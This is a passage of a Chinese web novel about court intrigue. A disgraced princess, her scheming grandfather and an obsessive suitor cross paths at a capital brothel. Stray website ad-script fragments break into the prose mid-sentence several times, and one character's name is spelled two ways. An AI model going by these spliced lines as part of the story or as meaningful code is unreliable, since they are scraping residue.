徐淮止也不负所望,所说的每一个字眼都与她天差地别。
“品行端正、善良聪慧。”
普天之下大多女子都是如此,从他的话中瞧不出端倪,甚至觉着有些敷衍。
也正因话中并无细节,才让周芮瞬间明白大多女子或许都能入他眼,但自己不行。
“殿下,好了,我们走吧!”顺玉大步上前,将披风与兜帽递给周芮。
周芮慢条斯理的穿上,巨大的帽檐遮住了大半张脸,只露出白皙的下巴。
从徐淮止身边经过时,周芮忽然抬眸看向他,见他目不斜视,并未低头,她仍旧笑意盈盈的道了一句,“那便祝徐相……心想事成。”
混着泥腥的风吹动少女额角的碎发,她重新戴上兜帽,低头跟在顺玉身边,一言不发的离开。
直到背影远去,徐淮止才低头握紧缰绳,正要打道回府时,忽然看见周芮方才所站的泥地上不知何时落下一滴雨水。
干燥的地面上,只有那一点渗入土中,晕成一团水印。
碧空如洗,万里无云。
烈阳洒下的暖意,悄无声息的烫在了他自以为心如止水的胸口。
-
赵家紧闭的大门前,青雉来回走动,交握的双手不安搅动,时不时伸长脖颈朝着巷尾处张望。
片刻后,一道青色的人影从巷尾走来。
青雉定睛一瞧,连忙激动上前,“殿下!”
注意到周芮行走不顺时,青雉这才瞧见她腿上的伤,连忙紧张搀扶,担忧道:“殿下,您的腿这是怎么了?”
“昨日逃跑时摔了。”
周芮打量了青雉一眼,见她确实如顺玉所说并无大碍,这才问:“你在府外做什么?”
青雉并未回应,适才想起自己在外徘徊的目的,垂首道:“殿下,家主要见您。”
周芮沉默一会儿,挣开青雉的手后,一瘸一拐的朝着府中走去,“去帮我寻个大夫回来。”
青雉有些不放心,“殿下,徐相那里……”
周芮头也不回的道:“我会亲自与外祖父说的。”
她语气并无波澜,青雉也猜测不出此事到底做成没有,只能在心底企盼着周
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
芮没有令赵家失望。
赵家自祖上便是勋贵出身,世家底蕴深厚。
其府邸更是先皇念在赵家世代忠诚,命工部选址建造而出,赏赐给赵穹,以示圣宠的。
是以府中大多摆置都与上京的王公贵族不同,多是皇家御用之物。
除了,望舒院里的海棠。
周芮穿过回廊,又忍着疼跨入月亮门中,这才见到坐在满院海棠中,投喂鸟雀的赵穹。
“外祖父。”
赵穹喜爱逗鸟,是以在他所坐的藤椅周遭的树枝上,挂着样式不一的鸟笼。
听见声音的赵穹并未回头,骨瘦如柴的手指捏着边果,专心致志的投喂笼中的鸟儿,“殿下回来了。”
不算亲近的语气令周芮脚步一顿,她的声音比之方才,更加细弱,“外祖父,对不起……”
她站在距离赵穹五步之遥的位置,身旁海棠树上的笼子里,正好装着一只浑身青羽的陇客。
赵穹指尖一顿,“殿下没有对不起老夫。”
他将掌心的边果重新放回盒子里,这才转身看向满眼期盼的周芮,“殿下该道歉的人,也不是老夫。”
周芮心中一颤,脸上顿时没了血色。
赵穹目光动了动,落到她的腿上,“给殿下搬一把椅子来。”
下人领命后,很快便从屋内抬了一把软椅出来,在赵穹波澜不惊的目光下,周芮如坐针毡。
她自小便对这个外祖父又怕又敬。
母后还不曾将自己关在佛堂时,便时常提及外祖父,有关他的事迹,周芮听过许多。
他曾是先皇的左膀右臂,大周能在先皇在世时达到前所未有的鼎盛时期,大多都是她这位外祖父的功劳。
也正是因为他才华出众,在父皇还是太子时,便成了授予他课业的老师。
哪怕他已辞官,可朝中上下谁见了他不得尊称一声赵太师。
就连阿樾还未中毒前,也对外祖父颇为敬畏。
只是不知为何,自小外祖父对她便不算很亲近。
“公主府的下人无碍,老夫给了他们一些银两遣散了,至于你身边那个织云,背弃主子,老夫已经替你处理了。公主府走水后一片狼藉,便是修建好了,如今也不算是个安身之地,你便暂且住在这里吧。”
赵穹事无巨细的将事关公主府的事情告诉她,周芮回过神来,抿着唇应了一声。
“腿上的伤,是如何来的?”赵穹漫不经心的看了一眼。
周芮将昨日的情形简要说了一遍。
赵穹沉思后,忽然盯住她,“那徐淮止,便一点不曾对你动心?”
外祖父没有问宁熵雀是否对她有所僭越,没有问她的腿如今还疼不疼,日后会不会留疤,甚至没有问她遇到土匪时,可曾有过害怕。
就像前日,他让青雉将她送去徐宅,看似给了她选择,实则从未问过她,是否愿意。
她知晓自己如今别无选择,只要能让阿樾登基,她应当为了自己,为了身边所有人而不顾一切。
可她……还是会难过。
突兀又急切的一道声音再次响在耳畔。
那是徐淮止带着薄怒的呵斥,“周芮!你是大周公主,不是青楼花娘。”
少女敛目,那些斥责仿佛要穿过耳朵,扎进心底生根发芽。
那双搭在腿上的指尖逐渐合拢,衣裙皱成一团,被她死死抓住。
周芮将心口涌现的酸涩猛的压下。
原先击碎自尊的话,如今却成为了她的铠甲。
至少在徐淮止心中,她依旧是皇嗣,是大周的昭和公主。
12. 第12章
“阿芮。”赵穹忽然缓和了声音,似是不忍再苛责,“外祖父知你心中诸多委屈,可赵家需要你,阿樾也需要你。”
“若是有活命的机会,外祖父愿意抛下一切,离开京城吗?”
赵穹没有回答,反而抬手打开一旁的笼门,原来那最大的鸟笼里面,关着两只身形不一的鸟儿。
不多时,其中一只便飞了出去,赵穹笑道:“你瞧,若老夫给它自由,它飞的比谁都快。”
周芮见此,牵起嘴角,正要将徐淮止在山洞时说的话告知赵穹。
只要能活着,不争皇位不要富贵,徐淮止愿意助他们离开京城的。
可话还未出声,就见那刚刚飞远的鸟儿突然折返回笼,哪怕笼门大开,它也不愿再离开一步。
“可是……”
周芮对上赵穹苍老的眉眼,听他道:“这笼子里还有它折了翅膀的孩子。”
“阿芮,他能离开,他们能吗?”
赵穹看向她,“你有多久没去佛堂见过你母后了。”
周芮神情一怔。
方才燃起的希望,被一盆凉水从头浇到脚。
祖父不是一个人,赵家也不止在京城。
就算他们能逃,可是母后呢?那些旁支呢?还有远在老家的族人们……
赵穹叹息一声,“都怪老夫无用,半生浮沉,到头来却连家都护不住。”
无声的酸涩在祖孙二人之间蔓延。
先前周芮听青雉说过眼下赵家势力微弱,自外祖父辞官后,家中的舅舅们,没有一人身居高位,好似赵家一脉气数已尽,只能任人宰割。
前朝没有要职,后宫又无人可依。
作为同样世家出身的广义侯府,仗着宁王与盈妃,早已将外祖父手中仅存的势力蚕食干净。
若不是黎、宁二王互相掣肘,都想在登基时留下贤名,恐怕早就将手伸向赵家了。
如今赵家头上悬着的刀,不知何时落下,怎么落下。
“父亲。”
赵亦翀一瘸一拐的从月亮门外走进来,看见周芮时他楞了一瞬,随即拱手行礼,“见过殿下。”
“大舅舅不必多礼。”周芮回过神,一眼便注意到他嘴角的青紫淤青,“大舅舅这是……被人打了?”
赵亦翀抬手摸了一下嘴角,眼神躲闪。
“怎么回事?”赵穹蹙眉。
赵亦翀这才道:“不知父亲可还记着银湖那一带的铺子?前些时日阿瑶与我说铺子近日老是出事,许是被人盯上了,我今日便特意去那边瞧了瞧,然后发现盯着铺子的……”
他咬牙,“是广义侯府的人。”
饶是周芮,此时也听白了赵亦翀口中的愤懑。
广义侯府,连赵家的铺子都不放过……
“他们这是想,赶尽杀绝啊。”赵穹眼底划过一丝冷意,随即看向周芮,“阿芮,你这两日应当累了,先下去歇着吧。”
她知晓他们二人有事要商议,并未多言,便起身离开了。
待周芮走后,赵亦翀一瘸一拐的来到赵穹身边,小声问:“爹,昭和那边怎么样了?徐相愿不愿意站在太子这方?”
赵穹闻言,许久之后,才略显遗憾的道: “徐淮止能成为黎宁二王都拿不下的硬骨头,一个流连风月的公主,如何能将他攥在手中,他若真好女色,也就不是徐淮止了。”
“是老夫高估阿芮,也低估了徐淮止。”
见到他眼底的失望,赵亦翀愣神喃喃,“您的意思是……徐相他……”
“那咱们现在怎么办?”赵亦翀也顾不得身上的疼,只想知道眼下情形如何才能扶太子上位。
“老夫本想着,若有徐淮止相助,至少在夺嫡之争上,能与他们二人三足鼎立,届时鹿死谁手还尚未可知。如今徐淮止不为所动,那就只有一个法子了。”
“父亲的意思是……”
“破釜沉舟。”
赵穹拄着拐杖起身,“朝堂本就是一个巨大的染缸,没人能独善其身。”
他看向赵亦翀,“他徐淮止,自然也不能例外。”
“若三日之后,徐淮止仍旧没有动静,便将前夜发生之事传出去。”
“前……”赵亦翀睁大双目:“您说的是,昭和与他……”
“可是爹,您先前不是说尽量不要与徐淮止交恶吗?他眼下拒绝与我们为伍,若是京城还传出他与昭和的闲话,定会怀疑到我们身上。届时他就算不与我们在同一条船上,宁、黎二王也会将他当成我们的党羽。只是如此一来,他是有了麻烦,但我们也平白多了一个强敌。”
赵亦翀为难,“况且以我在朝中听到的闲言碎语,徐淮止并不是一个受了威胁便会坐以待毙的人。”
被岁月洗礼过的双眸显得格外平静。
赵穹拄着拐杖,一步步朝着内院走去。
只留下一句令赵亦翀思索半晌的话:“所以,才叫做破釜沉舟啊。”
-
周芮自出生便住在宫中,因着受宠,自出生起便有封号,她的公主府也是在受封那日起便有了。
只是前几年及笄时,才搬去公主府居住。
赵家没有她的卧房,从前与母后回来也不过是看望一二,从未留宿过。
在下人的搀扶中,周芮来到一处院落。
院中种着上京贵族十分喜爱的青梧,梧桐中夹杂着几棵榴月,几乎遮住了大半日光,在石子路上拓出斑驳的乌影。
屋内,青雉已经等候多时。
再瞧见周芮的一刻,她立马上前顶替了婢女的位置,将她搀扶进屋内。
“殿下,大夫已经在里边儿候着了,您慢些。”
如今宫内德贵妃与盈妃正斗的火热,可无论他们如何争斗,遇到她要入宫时总能一致对外。
她一个公主,连宫门都进不去不说,伤了身子,还请不得御医,只能让民间的大夫来替她瞧瞧。
周芮咽不下这口气,如今也得暂且咽下。
大夫小心翼翼的将缠在她腿上的白布剪开,树枝应声而落,露出早已浸湿里裤的血渍。
经过一夜,那血渍干涸发黑,似乎黏在了伤口上。
周芮忍着疼,死死抓住青雉的手臂,别过眼不敢再看。
“殿下……”青雉挽起衣袖,露出满是伤痕的小臂,递到她嘴边,“您要是疼,就咬住我。”
“不用……”一股钻心的疼从腿上蔓延至全身,周芮再忍不住,一口咬在了青雉手臂上。
密汗遍布额头,周芮觉着像是过了一天一夜那般漫长,眼前黑了又白,疼的头晕目眩之时,才听见那大夫说:“好了,没事了。”
不多时,疼痛减轻,周芮松开嘴才尝到口中的一丝血腥气。
低头一瞧,方才她咬紧不放的位置,留下了两排血红色的牙印。
周芮握住青雉的手,“大夫,您……也帮她瞧瞧吧。”
等两人的伤口包扎好,天色已近黄昏。
大夫嘱咐了几句如何换药后,才领了银子告辞离开。
青雉放下衣袖,没有将手臂上的伤口放在心上。
她前去关上屋门,这才来到周芮身边,问了她先前在府门时便想要知道的问题。
“徐相他,可愿意助我们成事了?”
周芮还记着在赵穹面前时的回应。
他不似青雉问的这般直白,她也便没有直白的告诉他……
“其实,我也不知,他愿不愿意。”
青雉错愕,“不知?”
周芮回想起今早入城门前,她半是故意半是好奇的询问顺玉如何杀人,就是故意说给徐淮止听的。
她早先便知徐淮止的弱点就是心
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
软。
是以故意让他知晓德贵妃的所作所为,故意让他以为自己要与德妃同归于尽,还有最后离开时,流下的那滴泪……
她自问,能做的都已经做了。
徐淮止没有留下任何话,但她心底却仍旧留有一丝希望。
尽管微乎其微。
“青雉,如果当真到了走投无路的时候,你会怎么做?”
青雉抿着唇,并未犹豫,“保护殿下。”
周芮托腮,似笑非笑的看着她。
她知晓青雉口中的殿下不是她,而是被困在东宫的阿樾。
“殿下呢?”
“当然是想法子入宫。”周芮坦然道:“就算是死,我也要让害了阿樾的人陪我一起下黄泉。”
潋滟多情的眉眼染上从窗外洒进来的碎光,金灿到如同朝阳的光,映出少女眼尾的桀骜。
她从未想过到了那时如何进得了宫,就算进去,又如何在宫女太监的眼皮子底下要了德贵妃的命。
她好像只是觉着,本该如此,就要如此,所以无所畏惧。
青雉不明白。
为何徐淮止会对殿下,无动于衷呢。
“青雉,我有些饿了。”周芮瞧了一眼天色,适才想起她已经一整日没有用过膳了。
早晨回京时,顺玉在路边给她买了些点心,随后便一直不曾进食。
“那我去厨房瞧瞧,让他们给殿下做点吃食。”青雉起身,向外走去。
许是她过于专注,并未发觉自己的脸色沉的厉害。
“青雉,你还是在怪本宫。”
青雉下意识开口想要解释,可话到嘴边,对上周芮坦然的目光,她便什么都说不出来了。
明知不该怪她,可人心始终是偏的。
当初寄托在周芮身上的希望有多少,如今的失落绝望便有多少。
她抬头看向天尽头的火云,火云下面是大周人人趋之若鹜想要进去的皇宫。
她也想要进去,想把困在里面的殿下,带出来。
如今,好似都成了泡影。
-
三日后的傍晚,被雨水冲刷过的屋檐还在往下滴水,整个京城被水雾笼罩,空中蔓延着潮湿的气息。
水榭阁楼旁,赵穹拄着拐杖正在喂鱼,池中的锦鲤争相冒头,带着腥气的池水溅在盛满食物碎屑的瓷碟里。
赵穹笑呵呵的道:“慢些,莫着急。”
也不知这话是对池中的鱼儿说的,还是对匆匆赶来的赵亦翀说的。
赵亦翀停在赵穹身后,一时之间也不知该不该开口。
半晌过去,他憋不住了,询问道:“父亲,今天已经是第三日了,您先前说的事,需不需要我……”
“都安排好了?”
赵亦翀点头,“是。”
可等了许久,也不见赵穹再开口,他耐不住性子,又道:“我是明日一早便让消息传出去,还是今晚就开始?”
赵穹回头看向他,叹道:“你啊,就是性子急,脑子木,我教过你多少次,人心难测,遇事莫急,就你这性子,不怪我赵家落得个无人可用的地步。”
赵亦翀咬牙,却又不知该如何反驳。
“你瞧。”
顺着赵穹的目光看去,被他派去盯着徐淮止动静的小厮脚步匆匆的赶来,在赵亦翀震惊的目光中,着急道:“徐、徐相往咱们府里来了。”
“真的?!”赵亦翀双目瞪圆,还不等他高兴,却见赵穹回身继续喂着鱼儿,“就他一人?”
赵亦翀不明白父亲问这话的意思。
小厮怔楞片刻,连忙道:“不是,还有殿下。”
赵亦翀错愕到恍然,“你是说,徐相与昭和一起回来了?”
赵穹早有预料,并不惊讶,“从哪儿回来的?”
“风月楼。”
13. 第13章
一个时辰前。
天色将晚,西街住的大多都是普通百姓,每日酉时,许多摊贩便陆续收拾东西,在黄昏前回家吃饭。
与西街截然相反的,则是世家贵族所在的东街。
戌时未到,铺子外便点起了灯笼,更有许多楼阁,是在夜里才开门迎客,王公贵族所在的地方,就连街道都要干净许多。
徐淮止家住西街,自入朝为官以来,除朝事外,几乎很少踏入东街。
简陋朴素的马车行驶在街上,尤其扎眼。
但马车内的人,并未将这些打量的眼光放在心上。
顺玉放下帘幕,看向已经褪下官袍,一身朴素的徐淮止。
那早已被婆子洗到起丝的陈年旧衫不知穿了几个年头,相比起来,他的衣裳或许都要比徐淮止的好看一些。
他忍不住提醒,“大人,咱们等会儿要去的是风月楼。”
风月楼乃是京城最大的红楼,大周民风虽然开放,可似风月楼这般男女不忌的红楼也是独树一帜。
据说里边儿有接男客的花娘,也有接女客的小馆,平素有关昭和公主的风流韵事,大多都是从风月楼传出。
也可以说,昭和公主周芮,乃是风月楼的常客。
徐淮止不知,但顺玉却是知晓,这些秦楼楚馆最是看人下菜碟的地方,大人平日本就从不出入这些地方,此次更是私访,无人知晓身份,若穿的再这般朴素,恐怕到时候会寸步难行。
徐淮止见他半晌不言,问道:“你想说什么?”
“大人,属下方才见到有一家成衣铺子,里边儿的衣裳瞧着不错,不若咱们下去看看?”
“不必了。”
意料之中的回应,顺玉轻叹一声,偷偷瞧了徐淮止一眼,看来只能兵行险招了。
马车抵达风月楼门前时,楼中似乎还未开始迎客。
雕花木门打开一条细缝,隐隐能看清里边的姑娘小厮正来回走动,不知在忙着什么。
顺玉下了马车,径直走向正在门前擦拭石狮子的小厮,“这位小哥,眼下可还有空着的厢房?”
小厮抬头打量了顺玉一眼,又看向不远处的马车,悻然道:“风雪楼只接熟客。”
观其态度便知,他并未将他们放在眼里。
顺玉左右瞧了瞧,见四周无人,便低头小声道:“你知晓那马车中坐着谁的人吗?”
布巾翻转,小厮擦完最后一双石眼,转身就走,懒得理会他。
“我家公子可是殿下的人!”
小厮脚步一顿,回头看向他,“哪位殿下?”
徐淮止在马车中等了许久都不见顺玉回来,他掀开帷帐走下马车,却见顺玉正与一小厮聊得火热。
他刚靠近,那小厮便双眼锐利的将他来回打量,最后目光落到徐淮止那张清隽出尘的脸上,小声附在顺玉耳边道:“你家公子这模样确实不错,难怪能入殿下的眼。”
顺玉讪笑两声,见小厮并未怀疑,甚至态度大变,恭敬的请他们入内时,连忙道:“公子,咱们进去吧。”
徐淮止方才没听清,只隐隐听见模样、殿下几个字。
待小厮将他们带去厢房后,四下无人,徐淮止落座蒲团上,才提起方才之事。
顺玉斟茶的手一抖,徐淮止目光跟随,面若霜寒,“说。”
顺玉不敢隐瞒,便将方才之事一五一十的告诉徐淮止,末了见徐淮止脸色发黑,他连忙道:“大人,这只是权宜之计,咱们只是借殿下的名头进来,之后没人会记得,更不会以为您与殿下之间有什么。”
他在意的是这个吗?
他在意的是说好再无干系,这几日周芮没有动静,反倒是他查个消息,却要用上周芮的名头。
顺玉还在辩解:“况且这回来风月楼查的是山上那些土匪的事情,按理说那事也与殿下有关,便是用她的名头,她应当也能理解大人苦心的……对吧?”
“罢了。”事已至此,再多计较也无意义。
顺玉自顾自的道:“就算此事被殿下知晓了,要向大人讨要说法也无妨,毕竟大人在家中等了她三日,此事正好——”
话音未落,顺玉余光瞧见徐淮止愈加阴沉的目光,顿时明白自己说错话了,连忙垂首闭嘴。
果然啊,言多必失。
-
与此同时,一墙之隔的厢房内同样坐着两人。
少年模样的男子安静的坐在轮椅上,目光温和的看向跪坐在蒲团上的女子,仿佛思绪许久,才将疑惑道出,“殿下今日主动寻我,这是想明白了?”
周芮抬手斟茶,淡青色的茶水落入杯中,一滴水花溅在白皙的手背上,周芮用娟帕慢条斯理的抚去,眼底划过一丝恼意。
但一想到这人烧了她的公主府绑了她之后不但没有任何麻烦,还能若无其事的来赴约时,周芮就知晓,他在宁王心中的位置,或许比她这个皇妹都要来的重要。
周芮压下火气,尽量平和道:“宁熵雀,本宫不可能做你的金丝雀,劝你死了这条心吧。”
“是吗?”他笑意盈盈道:“眼下情形,难保殿下哪日不会求到我头上,还是莫要将话说的太满。”
周芮身形一僵。
她今日主动约宁熵雀前来,的确是有事相求。
一连三日,徐淮止那头都不曾有动静,周芮便知晓她先前所做之事,没有半点作用。
坐以待毙自是不行,她唯一能与之交换筹码,且对方又能对赵家有用的,便只有宁商榷。
可宁商榷有病。
想到要同他打交道,周芮犹豫了许久,直到现在,心底都仍旧不确定是否要与虎谋皮。
“原来殿下,当真有事求我啊……”
周芮的沉默,让宁熵雀明白了什么。他转动着轮椅来到周芮身前,脸上笑意再是温柔也抵不住他凉意入骨的声音,令人遍体生寒。
“不若殿下先告诉我,你是如何回的京,又是谁救了你?”
冰凉修长的手指忽然执起她的手,拇指按在方才被茶水烫过的手背处,来回摩挲,重重一按,“嗯?”
周芮挣扎不脱,恼怒的瞪向他,“放开!”
宁商榷发亮的双眸不躲不避,略显痴迷,“殿下怕什么,是怕我杀了他?”
周芮不明白,“本宫与你不过泛泛,你如此执着作甚!”
若她曾与宁熵雀纠葛万千,抵死纠缠过,他此时追着她不放,周芮还能理解一二。可他们之间分明只短暂的相处过一些时日,连她的入幕之宾都算不上,宁熵雀的执着在周芮看来,实在莫名其妙。
“泛泛?”宁熵雀松开她,转而将手伸向放在桌上的糕点。
在
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
世家朝臣遍布的京城,能出入风月楼的大多都是非富即贵,是以他们用来招待客人的糕点精致小巧,甚至能与宫中御厨较量一二。
而在众多精致的糕点中,宁熵雀的手伸向的,却是不知何时放在瓷碟中的米糕。
米糕通身雪白,廉价到普通百姓家中人人都能存放。这等东西,在贵客往来的风月楼,从不会出现。
既不是风月楼所做,那便是……
周芮看向笑意盈盈的宁熵雀,忽然想到了什么,汗毛倒竖,心尖颤栗。
直到他将米糕递到她嘴边时,那异样的感觉更是在瞬间爬满了脊背,周芮强撑着内心不安,对上他的视线。
“殿下不喜欢吗?”
周芮盯着他:“你为何知晓?”
此事她从未与旁人说过,怕落了公主颜面,她甚至每回都是让织云偷偷去买,连与她最亲近的阿樾都不知晓。
“我一直在看着殿下啊……”他说:“所以怎能是泛泛之交呢?”
宁熵雀将糕点缓慢的放到自己嘴边,慢条斯理的咬着,一举一动都带着世家教养出来的礼仪。
若那糕点不曾碰过她唇的话……
周芮无言的看着宁熵雀,她从前的入幕之宾虽多,可却没有一人似宁熵雀这般大胆。
也是,今时不同往日,毕竟从前她身后有人时,宁熵雀也不敢做出这般赤果果的行为。
宁熵雀放下米糕后,拿出绢帕细细擦着手指,“殿下想要我做什么?”
周芮只犹豫了一瞬,立马道出此次来意,“本宫想知晓太子的消息。”
自几日前她被拦在宫外,便再也没了阿樾的消息,就连还在朝中做事的大舅舅,在靠近东宫时也会被太监驱赶。
她原本想着借徐淮止的势,或能进宫一探,眼下那处走投无门,便只能找上与宁王关系匪浅的宁商榷。
“殿下只想听消息,不想亲眼进宫看一眼太子殿下吗?”
周芮目光直直的盯着他,“你能让本宫进去?”
宁熵雀不答,抬手将用过的绢帕放到火烛下,任由汹涌的火舌一点点吞噬,冒出屡屡黑烟。
“办法自然是有,就看殿下愿意付出什么了。”
周芮道:“从前阿樾身子弱,父皇母后为他寻过许多早已绝世的药方。”
宁商榷看着她,忽然笑了,显然并不满意。
周芮继续劝说:“自本宫认识你以来你的腿疾便一直如此,身子畏寒不说,一到腊月还钻骨的疼,眼下本宫或许有能医治的方子,你当真不想要?”
方才还面色霜寒的人眼神忽然柔和下来,“为何要治?我不想治……”
周芮蹙眉。
这还是她想了好久才想出的筹码,可他说什么,他不想治?
既如此,那便是没得商量了。
周芮脸色冷了下来,起身欲走时,忽然听见宁熵雀柔声道:“我帮殿下进宫。”
他……说什么?
周芮错愕转头,对上宁熵雀温柔的眸子,如碎玉般清泠的声音悠悠蛊惑着,“殿下想要的,我都能给殿下。”
“只要……”
宁熵雀轻轻的环住周芮纤细的腰肢,将脑袋缓慢的靠在她的腹前,呼吸灼热间,那张像是涂满胭脂的红唇一开一合,仿佛在齿间研磨许久,才隐约吐出几个字来。
14. 第14章
“只要……殿下,爱我。”
只要她爱他?
不可否认的,周芮心神动荡开来。
不是为宁熵雀那般热烈的想要她的爱,而是——
是不是她爱他,他便能乖乖听话?帮她入宫,甚至帮她……
周芮的呼吸不可抑制的急促起来。
少年似乎感受到了周芮的动摇,脑袋贴在周芮柔软的绣花绦带上蹭了蹭,不动声色的蛊惑着:“我会一直站在殿下这边的……”
独属于少年身上的草药气息随着空气一同涌入鼻中,周芮顿时回过神来。
她抬手轻柔的抚摸着少年半束的墨发,丝绸般柔软的长发,如流水穿过少女的指缝,宁熵雀牵起嘴角,缓慢的合上眼。
“宁九,你忘了……”周芮缓慢道:“本宫不喜欢瘸子。”
屋内许久没有声音,直到断断续续的闷笑响起,周芮低头时宁熵雀正好松开手,抬头对上她的目光,“为什么?我除了腿有残缺以外,论家世容貌,甚至能带给你的好处,都比你从前那些入幕之宾好得多,为什么他们可以,偏我不行。”
“他们只要钱权。”这便是答案。
宁熵雀略一思索,顿时觉着有些好笑,“殿下是觉着,我所图太大,殿下给不起?”
“是你别有用心,本宫不会蠢到上你的当。”
她方才是暂时迷失在了宁熵雀以爱编织的罗网里,可那也只是一瞬。
宁熵雀嘴上说着只图情爱,可谁知晓他真正图谋的是什么?或许他只是宁王用来冲锋的棋子,也或许他也想趁乱谋利。
无论是什么原因,他在周芮眼中,都不可信。
若宁熵雀方才想要的是权势地位,是阿樾登基后给他的好处,周芮一定不会这般多疑。
但他想要的,是情爱。
可笑。
宁熵雀歪着头思索了半晌,最后遗憾的喃喃了一句什么。
黑白分明的双眸中泛起点点笑意,宁熵雀这才看向周芮,问:“殿下不想进宫见太子了吗?”
周芮主动寻他本就属冒险,她以为她的筹码足够让宁熵雀心动。
但若是为了见阿樾掉进宁熵雀的坑里,说不定还会引来更大的麻烦。
外祖父再三吩咐过,眼下她那两位皇兄就等着寻她与太子的错处,若是轻举妄动掉入对方的陷阱,得不偿失。
“本宫自是想的,可宁公子心不诚,那今日便当本宫没有来过。”周芮低头整理了一下衣裙,随即缓步朝着门边走去。
宁熵雀看着她的背影,始终不明白她为何不答应。
喜欢他,对周芮而言就那般难以做到吗?
他本以为十拿九稳,眼下来看,却好似踏错了步子。
感受到身后愈渐灼热的目光,周芮没有理会,正要打开门离开的时候,一名花娘跌跌撞撞的跑来,衣衫不整的跪在周芮跟前,哭的梨花带雨,“殿下,殿下救救奴。”
不等周芮回过神来,便听见有人正从不远处的木梯走上来,嘴里咒骂着什么。
“殿下……”知意抓住周芮的裙角,满眼祈求,“救救奴。”
周芮只思索了一瞬,便猛地将人拉进屋内,再极快的阖上门,动作行云流水,等男人瞧见时已然来不及了。
脚步声停在门外,男人用力拍打着门,粗声骂道:“知意,我知道你在里面,给老子出来!出来!”
周芮看向靠在门边嘤嘤哭泣的女子,那女子泪眼婆娑道:“殿下,奴是知意啊,殿下不认得奴了吗?”
经她一提醒,周芮才隐约想起这么个姑娘来,好似前两年刚见着她时,也是如此场景。
那时的知意刚到风月楼不久,估计出身不好,被家中长辈卖来换钱。她整日哭哭啼啼,以泪洗面,每回去厢房给客人弹琵琶,事后都会让客人不快,因此遭过不少罪。
后来有一回,知意遇着个脾性不好的客人,再加上她怨天尤人的曲儿令对方不快,差点死在那人手中。若不是中途逃出来正好遇着周芮帮了她一把,或许坟头的草已经长到三尺高了。
“他是你的恩客?”
知意拢好衣裳,挂在长睫上的泪珠顺着眼尾落下,低泣道:“殿下,奴不想跟他走,求殿下怜惜。”
风月楼的姑娘都知晓,周芮不好伺候,若是惹她不快,下场极惨,甚至不需要她动手,便有的是人帮她处理他们这些微不足道的花娘郎官。
但只要不主动惹她不高兴,她待他们都很好。
知意如今能当上风月楼的头牌,也是因着那一回走投无路被周芮搭救。
她以为自己惊扰了贵人,定会下场惨烈时,却见周芮赶走了屋内的几个小郎君,驱步来至她跟前。
她垂着头,浑身发颤,只能盯着殿下脚上的那双软底珍珠绣鞋看,上头镶嵌的东珠,是卖了十个她也买不起的昂贵之物。
忽然间,香气萦绕,一方绢帕落至眼前,“擦擦。”
知意愣神接过,感受着手中用云缎制成的绢帕,又听周芮不满道:“本宫才刚玩儿一会就出事,这些人和那徐淮止一样,都见不得本宫高兴是不是?”
知意脊背生寒,方才放下的心又瞬间提起,求生的欲望让她猛地抬头看向周芮,想要开口求饶,却突然发现那话不是对她说的。
周芮身后的婢子轻言安抚,“殿下,奴婢这就去将扰了殿下兴致的人丢出去。”
随即那婢子朝她走来,问她放在接的客人是谁。
知意反应了好半晌才明白殿下是要为她做主。她泪眼朦胧的磕了好几个头,喉咙被酸楚堵塞,说不出一个字。
尽管周芮瞧她的眼神也有些不快,但知意心中感激,并未放在心上。
直到快要和婢子走出厢房时,才听见周芮道:“你是风月楼的花娘,弹曲儿陪酒,让客人高兴,本就是你该做的。”
话落,她又道:“若迈不过去心里这道坎儿,将他们全都当做姘头不就好了,让他们为你争风吃醋,你只管弹你的琵琶,还有银子拿,有何不可?”
大逆不道的话就那样简单的从昭和公主嘴里说了出来。知意心下震撼的同时,这番话也牢牢的刻在了她的骨子里。
她对周芮有感激有崇拜有敬畏,如今……
更多的却是愧疚。
木门被敲地晃动落灰,周芮见知意泪水越发汹涌,呵斥道:“谁在本宫门外大喊大叫!信不信本宫割了你的舌头!”
屋外静默一瞬,紧接着吵嚷声便此起彼伏。
“这是殿下?殿下今日也来
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
了?”
“就是啊,殿下好久不曾过来了,我还以为她改了性子呢。”
原是那人的动静引来了诸多看客,有从厢房中走出来的,也有从一楼大堂走上来瞧热闹的,此时整个风月楼的人都盯着周芮的这间厢房,其中自然也包括徐淮止。
将那山中土匪的来龙去脉都查清楚后,徐淮止原来是要走的,谁料却在刚刚打开门时,便听见了周芮的声音。
与他同时在屋内的男人与一位姑娘面面相觑,仔细瞧,这两人衣衫不整,俨然是中途被带过来的,“徐相,我什么都交代了,我能不能……”
顺玉将人赶走后,来到徐淮止身边,“大人在家中等殿下这般久,她不来寻,却混迹在此处……”
徐淮止眼下没有要走的意思,反而站在厢房外的长廊上,混迹在众人之中,看向他,“她在此处,你很意外?”
顺玉不意外,顺玉觉着再正常不过,还是一向不爱凑热闹的大人留在这里,比较让他意外。
“瞧见门外那人了吗?”
顺玉抬头看去,正在屋外敲打房门的男人模样凶狠,粗壮的胳膊几乎快要撑破衣裳,最引人瞩目的是他右侧脖颈上的刀伤,无论从伤痕还是气势都能看出这人过的是刀口舔血的日子。
“大人认识?”顺玉不解。
徐淮止岂止是认识,“本官来此地是为了什么?”
“寻京城附近的山上为何会有土匪……”话音未落,顺玉立马明白了什么,“您的意思是,那人就是先前拦住公主的土匪?”
方才从张逾口中得知,那些在京城附近扎营的压根不是什么土匪,而是扮作土匪的私兵,黎王的私兵。
黎王的人,堵在周芮的厢房外,此事怎么看,都不是简单的恩客与花娘闹出的矛盾。
果不其然,那土匪大喊着,“殿下怎么了,就是陛下来了我也有理!老子养了她这么久,说好等老子赎身,结果她竟然怀上了别人的孩子!”
周遭吵闹,众人窃窃私语的声音顺着门缝传进了屋内,周芮不由得看向知意。
“原来是情闹。”
若是被迫,周芮还能帮她做做主,可旁人的情爱纠葛,周芮向来觉着麻烦,不愿理会。况且以她如今的落魄,除了还剩个公主的名头以外并无实权,就是帮,也帮不了多少。
周芮无意掺和,知意却并未放过她。
